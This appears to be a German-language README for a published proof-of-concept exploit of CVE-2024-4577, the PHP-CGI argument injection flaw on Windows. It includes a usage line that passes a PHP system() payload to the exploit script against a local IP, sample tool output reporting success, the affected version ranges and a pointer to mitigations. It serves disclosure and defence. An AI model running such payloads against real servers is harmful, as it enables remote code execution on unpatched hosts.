
PHP-CGI-Argumentinjektion (CVE-2024-4577) Remote-Codeausführung PoC
Ein Proof-of-Concept, entwickelt von @watchTowr, der die PHP-CGI-Argument-Injection-Sicherheitslücke (CVE-2024-4577) ausnutzt, um RCE auf einer verwundbaren PHP-Version in einer Windows-Umgebung zu erlangen. Detaillierte technische Analyse dieser Sicherheitslücke
Diese Sicherheitslücke wurde von Orange Tsai (@orange_8361) von DEVCORE (@d3vc0r3) entdeckt. Folgen Sie unbedingt seiner herausragenden Forschung, unsere Rolle bestand lediglich darin, den Exploit für dieses Problem nachzubauen und zu entwickeln.
python watchTowr-vs-php_cve-2024-4577.py -c "<?php system('calc');?>" -t http://192.168.253.132/test.sina
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-php_cve-2024-4577.py
(*) PHP CGI Argument Injection (CVE-2024-4577) discovered by Orange Tsai (@orange_8361) of DEVCORE (@d3vc0r3)
- Aliz Hammond, watchTowr ([email protected])
- Sina Kheirkhah (@SinSinology), watchTowr ([email protected])
CVEs: [CVE-2024-4577]
(^_^) prepare for the Pwnage (^_^)
(+) Exploit was successful
basierend auf dem ursprünglichen Blogbeitrag von DEVCORE (@d3vc0r3) betrifft diese Sicherheitslücke alle Versionen von PHP, die auf dem Windows-Betriebssystem installiert sind:
PHP 8.3 < 8.3.8
PHP 8.2 < 8.2.20
PHP 8.1 < 8.1.29
Da die Zweige PHP 8.0, PHP 7 und PHP 5 das Ende ihrer Lebensdauer erreicht haben und nicht mehr gewartet werden, können Serveradministratoren den Abschnitt 'Bin ich verwundbar?' HIER aufrufen, um vorübergehende Patch-Empfehlungen im Abschnitt 'Abhilfemaßnahmen' zu finden.
Aliz (@AlizTheHax0r) und Sina Kheirkhah (@SinSinology) von watchTowr (@watchtowrcyber)
Für die neuesten Sicherheitsforschungen folgen Sie dem watchTowr Labs Team